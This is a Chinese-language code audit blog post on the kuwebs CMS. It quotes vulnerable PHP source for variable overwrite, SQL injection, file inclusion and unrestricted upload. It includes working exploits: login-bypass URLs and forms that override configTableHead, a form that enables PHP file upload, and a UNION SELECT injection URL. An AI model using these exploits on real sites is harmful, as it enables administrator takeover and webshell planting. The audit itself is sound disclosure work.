- A+
显示不全请点击全屏阅读
代码审计:kuwebs代码审计报告漏洞打包与修复
先来个介绍:
酷纬企业网站管理系统是酷纬信息(www.kuwebs.com)开发的为企业网站提供一揽子解决方案的营销型网站系统,后台采用PHP+Mysql架构,内置企业简介模块、新闻模块、产品模块、图片模块、下载模块、在线留言模块、常见问题模块、友情链接模块。前台采用DIV+CSS,遵循SEO标准,通过模板或者定制为企业提供专业的营销型网站。
19万。。。
代码审计推荐工具:Seay PHP代码审计工具2012终结版
下载地址:http://www.cnseay.com/archives/1115
作者:Seay
本文及EXP下载:http://www.cnseay.com/wp-content/uploads/2012/12/kuwebs代码审计报告漏洞打包与修复.rar
部分漏洞列表:
一、变量覆盖漏洞
二、发表留言处盲注
三、在线应聘处盲注
四、getIP()函数鸡肋注入
五、文件包含漏洞
六、变量覆盖,注入满天飞之后台绕过登陆多种方法
七、任意文件上传漏洞
八、在线反馈注入漏洞
无限注入。。。
任意文件删除。。。
任意文件下载。。。
无限。。。。
一、变量覆盖漏洞
看首页文件index.php 一开始就包含‘inc/common.inc.php’ 跟进去看看。
<?php
require_once ‘inc/common.inc.php’; //加载系统公共函数和系统的前台配置文件
if(2 == $kuWebsiteHTMLStartType)
{
//echo $kuHttpPath.’index_’.$kuWebsiteDefauleIndexLanguage.$kuWebsiteTempHTMLType;
$content = @file_get_contents($kuHttpPath.’index_’.$lang.transferHTMLType($kuWebsiteHTMLType));
if(!empty($content))
{
echo $content;
exit;
}
}
‘inc/common.inc.php’ 和admin\inc\common.inc.php看到了一段经典代码,变量覆盖
$_POST = filterChar($_POST);
$_GET = filterChar($_GET);
$_COOKIE = filterChar($_COOKIE);
if(!ini_get(‘register_globals’))
{
@extract($_COOKIE, EXTR_SKIP);
@extract($_FILES, EXTR_SKIP);
}
foreach(array(‘_COOKIE’, ‘_POST’, ‘_GET’) as $_request)
{
foreach($$_request as $_key => $_value)
{
$key{0} != ‘_’ && $$_key = daddslashes($_value);
}
}
修复:不要懒着定义变量,想省点事注册变量就把这段代码丢前面一点
二、发表留言处盲注
message/add.php 文件
<?php
require_once ‘../inc/common.inc.php’;
$kuMessageBackSendUrl = $kuHttpPath.”message/index.php?lang={$kuWebsiteCurrLanguage}&menuid={$menuid}&page=1″;
$strSql = “select id, menutitle from {$configTableHead}menu where fatherid={$menuid} and lang='{$kuWebsiteEditVersionLanguage}’;”;
$result = $dbInstance->query($strSql);
while($row = $dbInstance->fetchArray($result))
{
$secondMenuNav[] = $row;
}
$menuid 无单引号压力。
修复:单引号
三、在线应聘处盲注
/job/resume.php 文件 第40行
$arrMenuInfo = getMenuIdInfo($menuid);
$topMenuId = ”;
if(count($kuMenuList[$kuProductShow[‘type3’]]))$topMenuId = $arrMenuInfo[‘type3’];
else if(count($kuMenuList[$kuProductShow[‘type2’]]))$topMenuId = $arrMenuInfo[‘type2’];
else if(count($kuMenuList[$kuProductShow[‘type1’]]))$topMenuId = $arrMenuInfo[‘type1’];
getMenuIdInfo($menuid) 我们跟进看一下
在\inc\commonfunc.inc.php文件 435行
function getMenuIdInfo($id)
{
if(” == $id || 0 > $id)return;
global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance;
$strSql = “select id, fatherid from {$configTableHead}menu where id={$id};”;
$row1 = $dbInstance->getOne($strSql);
看到带入了数据库,同样的无单引号压力注入
修复:单引号
五、getIP()函数鸡肋注入
\inc\commonfunc.inc.php 文件和 admin/inc/commonfunc.inc.php
function getIP()
{
if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”)) {$ip = getenv(“HTTP_CLIENT_IP”);}
else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”)) {$ip = getenv(“HTTP_X_FORWARDED_FOR”); }
else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”)) {$ip = getenv(“REMOTE_ADDR”); }
else if (isset($_SERVER[‘REMOTE_ADDR’]) && $_SERVER[‘REMOTE_ADDR’] && strcasecmp($_SERVER[‘REMOTE_ADDR’], “unknown”)){$ip = $_SERVER[‘REMOTE_ADDR’]; }
else {$ip = “unknown”; }
return($ip);
}
经常出现的一个问题,木有过滤,无视GPC,HTTP_CLIENT_IP我们可控,导致注入,蛋疼这个函数只在后台调用了几次。登陆处有调用,但是木用。
修复:验证IP地址格式
五、文件包含漏洞
在admin//index.php 文件
<?php
session_start(); //开启session
require_once(‘inc/common.inc.php’);
if(!empty($menu) && !empty($path)) //入口参数的判定
{
if(‘php’ == fileExt($menu)) //判断menu是否PHP文件
{
include_once($path.’/’.$menu);
}
else
{
include_once($path.’/’.$menu.’.inc.php’);
}
exit;
}
include_once(‘inc/logincheck.php’); //管理员登陆模块的加载
include_once(‘template/’.$adminTemplateName.’/index.html’); //加载后台index.html静态页面
?>
接收到参数,包含了再判断有木有登陆,晚了,结合它的变量覆盖,$menu 和 $path我们都可控,直接包含。
修复:敢不敢别这么包含文件
六、变量覆盖,注入满天飞之后台绕过登陆多种方法
绕过登陆一、
我们先看他的验证登陆的文件admin/inc/logincheck.php
<?php
session_start();
require_once(‘common.inc.php’);
$adminId = $_SESSION[‘adminid’];
$adminUser = $_SESSION[‘adminuser’];
$adminPassword = $_SESSION[‘adminpassword’];
$strSql = “select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ‘{$adminUser}’ and adminpassword = ‘{$adminPassword}’;”;
$row = $dbInstance->getOne($strSql);
if(1 > $row[‘id’])
{
promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptNonLogin, $configJumpTime);
exit;
}
?>
$configTableHead 变量我们可覆盖哦,有问题,直接覆盖注入
EXP:
http://www.cnseay.com/admin1/left.php?lang=cn&configTableHead=kuwebs_admin limit 1%23 seay
绕过登陆二、
我们再看看登陆的文件Admin/login/login_action.inc.php 文件104行$configTableHead 变量
else if(“” == $action)
{
$userName = trim($_POST[‘username’]);
$password = $_POST[‘pass’];
$checkCode = trim($_POST[‘checkCode’]);
if(empty($checkCode) || $_SESSION[“code”] != $checkCode)
{
promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptEmptyCheckCode, $configJumpTime, $adminHttpImgPath, $kuLanguage);
exit;
}
if(1 > strlen($userName) || 1 > strlen($password))
{
promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptEmptyLogin, $configJumpTime);
exit;
}
$userPassword = CommTool::encryptMd5($password, $configEncryptTimes);
$strSql = “select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ‘$userName’ and adminpassword = ‘$userPassword’;”;
$row = $dbInstance->getOne($strSql);
if(1 > $row[‘id’])
{
promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginFail, $configJumpTime);
exit;
}
else
{
$_SESSION[‘adminid’] = $row[‘id’];
$_SESSION[‘adminuser’] = $row[‘adminuser’];
$_SESSION[‘adminpassword’] = $row[‘adminpassword’];
if($configIsLog)CommTool::writeLog(“”);
if($configIsLog)CommTool::writeLog(“{$_SESSION[‘adminuser’]} login to system”);
$adminmodifyip = getIP();
$strSql = “update {$configTableHead}admin set regtime='{$nowTime}’, adminmodifyip='{$adminmodifyip}’ where id={$_SESSION[‘adminid’]}”;
if($dbInstance->query($strSql))
{
promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);
exit;
}
else
{
$_SESSION[‘adminid’] = ”;
$_SESSION[‘adminuser’] = ”;
$_SESSION[‘adminpassword’] = ”;
promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginUpdateFail, $configJumpTime);
exit;
}
}
很明显的,本来我们可以利用前面的变量覆盖来覆盖$configTableHead再注入,绕过登陆,
蛋疼的后面
$strSql = “update {$configTableHead}admin set regtime='{$nowTime}’, adminmodifyip='{$adminmodifyip}’ where id={$_SESSION[‘adminid’]}”;
if($dbInstance->query($strSql))
{
promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);
exit;
}
else
{
$_SESSION[‘adminid’] = ”;
$_SESSION[‘adminuser’] = ”;
$_SESSION[‘adminpassword’] = ”;
记录管理登陆日志,这个不跟前面的注入复合,又回滚了session,原本登陆了就又消失了。
不过我们往上看一点。第16行开始
else if(“relogin” == $action)
{
$oldAdminUser = $_SESSION[‘adminuser’];
$_SESSION[‘adminid’] = “”;
$_SESSION[‘adminuser’] = “”;
$_SESSION[‘adminpassword’] = “”;
$userName = trim($_POST[‘username’]);
$password = $_POST[‘pass’];
if($configIsLog)CommTool::writeLog(“$oldAdminUser Exit. Change into $userName to login”);
if(1 > strlen($userName) || 1 > strlen($password))
{
promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptNonLogin, $configJumpTime);
exit;
}
$userPassword = CommTool::encryptMd5($password, $configEncryptTimes);
$strSql = “select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ‘$userName’ and adminpassword = ‘$userPassword’;”;
$row = $dbInstance->getOne($strSql);
if(1 > $row[‘id’])
{
if($configIsLog)CommTool::writeLog(“{$_SESSION[‘adminuser’]} login to system failed”);
promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginFail, $configJumpTime);
exit;
}
else
{
$_SESSION[‘adminid’] = $row[‘id’];
$_SESSION[‘adminuser’] = $row[‘adminuser’];
$_SESSION[‘adminpassword’] = $row[‘adminpassword’];
if($configIsLog)CommTool::writeLog(“{$_SESSION[‘adminuser’]} login to system Success”);
promptMessage(“index.php”, $promptLoginSuccess, $configJumpTime);
exit;
}
很明显,这里没有回滚session,那我们就可以覆盖$configTableHead变量来注入绕过登陆了
EXP:
<html>
<head>
<title>www.cnseay.com</title>
</head>
<body>
<form name=”form1″ method=”post” action=”http://www.cnseay.com/admin1/index.php?lang=cn&path=login&menu=login_action&action=relogin”>
<input name=”username” type=”hidden” value=”admin” />
<input name=”pass” type=”hidden” value=”admin” />
<input name=”configTableHead” type=”hidden” value=”kuwebs_admin limit 1# 1″ />
<input type=”submit” value=”登 陆“>
</form>
</body>
</html>
把www.cnseay.com/admin1修改成网站后台地址,点击登陆即可。
当然绕过的方法不止这些,还有比如覆盖数据库连接字符的等等。
修复:不多说。。。
八、任意文件上传漏洞
像这种变量覆盖的,基本都有任意文件上传。
看到admin/uploadfilesave.php 文件木有验证登陆权限,再看72行
$downloadurl=upload(‘imgurl’, $kuWebsiteAllowUploadFileFormat);
看看upload函数
function upload($form, $fileFormat)
{
global $promptIncludeDirUploadFileCanNotWrite, $promptIncludeDirCorrectUploadFileFormat, $promptIncludeDirCopyUploadFileError;
if (is_array($form))
{
$filear = $form;
}
else
{
$filear = $_FILES[$form];
}
/..省略./
if ($fileFormat != “” && !in_array(strtolower($ext), explode(“|”, strtolower($fileFormat))))
可见我们只要覆盖$kuWebsiteAllowUploadFileFormat 变量即可上传任意文件。
直接给出EXP:
<form name=”form1″ enctype=”multipart/form-data” method=”post” action=”http://www.cnseay.com/admin/include/uploadfilesave.php?action=add”>
<input type=”file” name=”imgurl”>
<input type=”hidden” name=”kuWebsiteAllowUploadFileFormat” value=”php|asp|aspx”>
<input type=”submit” name=”Submit” value=”日“>
</form>
修复:不多说。。。
八、在线反馈注入漏洞
看到文件plus/feedback.php 105行
$strSql = “select * from {$configTableHead}{$fType} where id={$objectid}”;
同样无单引号压力
测试:
http://localhost/kuwebs/plus/feedback.php?feedbacktype=1&objectid=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
无限注入:
这种注入还有不少,比如admin/menu/menu_modify.inc.php文件等
$strFather = “select * from {$configTableHead}menu where id={$fatherId};”;
就不列那么多了。
修复:单引号。。。
变量覆盖是个大问题啊,容易导致二次利用的漏洞,上面说的任意文件删除什么的,自己到后台黑盒看看就知道了。
暂时先看到这里了,问题太多,等修复了再看看吧。
Tags:
如果您喜欢我的博客,欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡